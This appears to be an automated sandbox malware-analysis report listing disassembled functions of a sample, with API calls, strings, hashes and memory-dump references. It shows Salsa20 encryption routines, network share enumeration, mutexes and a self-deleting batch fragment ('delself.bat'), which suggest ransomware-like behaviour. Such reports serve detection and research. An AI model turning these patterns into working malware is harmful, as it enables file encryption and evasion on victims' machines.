Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__amsg_exit__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 1282695788-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Uniqueness

Uniqueness Score: -1.00%

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode$__lock_doexit
String ID:
API String ID: 2158581194-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
Opcode Fuzzy Hash: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction Fuzzy Hash: 1EB0927254020C77CE012A82EC02A497B199B516A4F408021FB0C18571A677A6A09A89

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

ACP, xrefs: 004382B3
OCP, xrefs: 004382C4

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Uniqueness

Uniqueness Score: -1.00%

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

@echo off:trydel ", xrefs: 0041262A
D, xrefs: 00412720
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
" goto try, xrefs: 00412666
"if exist ", xrefs: 00412648
delself.bat, xrefs: 0041261C
del ", xrefs: 00412674
TEMP, xrefs: 004125DF

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ), ref: 00411974
lstrcatW.KERNEL32(00000000,?), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260), ref: 00411993
lstrcatW.KERNEL32(00000000,?), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Uniqueness

Uniqueness Score: -1.00%

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

.\crypto\rand\rand_win.c, xrefs: 00482383
DISPLAY, xrefs: 00482311

Memory Dump Source

Source File: 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2566125875.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2566125875.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
